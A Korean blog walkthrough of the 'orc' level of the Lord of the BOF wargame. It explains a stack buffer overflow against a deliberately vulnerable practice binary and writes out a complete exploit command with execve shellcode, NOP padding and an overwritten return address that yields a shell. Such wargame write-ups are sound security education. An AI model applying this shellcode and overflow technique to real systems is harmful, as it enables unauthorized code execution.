[orc - egghunter]
goblin : hackers proof
goblin으로 로그인하면 아래와 같은 orc 코드를 볼 수 있다.
먼저 environ은 환경변수 array의 포인터이다.
man environ
자세한 설명은 man 페이지를 참고하면 된다.
다시 코드를 보면, 환경변수를 초기화하고 argv[1][47]의 값을 확인하는 것을 볼 수 있다.
따라서 이번 문제에서는 'LOB - 03 goblin - (2)환경 변수 이용'과 같이 풀 수는 없을 것으로 보인다.
버퍼와 sfp까지 총 44바이트의 공간에 쉘코드를 넣을 수 있고 eip에는 0xbf로 시작하는 주소를 넣어주면 된다.
먼저 아래와 같이 실행을 해보았다.
./aaa `python -c 'print "A"*47 + "\xbf"'`
gdb로 core 파일을 열어 보면 eip가 0xbf414141로 잘 바뀐 것을 볼 수 있다.
우리가 입력한 값인 0x41이 시작되는 주소가 0xbffffd99인 것을 확인할 수 있다.
따라서 eip에 0xbffffd99를 넣어주고, A 대신 쉘코드를 입력한다.
쉘코드 뒤의 남은 공간(44 - 쉘코드 크기)은 0x90으로 채운다.
./orc `python -c 'print "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*8 + "\x99\xfd\xff\xbf"'`
그 결과 아래와 같이 orc의 password를 얻을 수 있다.
'Wargame > The Lord of the BOF' 카테고리의 다른 글
LOB - 03 goblin - (2)환경 변수 이용 (0) | 2019.02.01 |
---|---|
LOB - 03 goblin (0) | 2019.02.01 |
LOB - 02 cobolt (0) | 2019.02.01 |
LOB - 01 gremlin - (3)마무리 (0) | 2019.02.01 |
LOB - 01 gremlin - (2.2)쉘코드 수정 (0) | 2019.02.01 |
댓글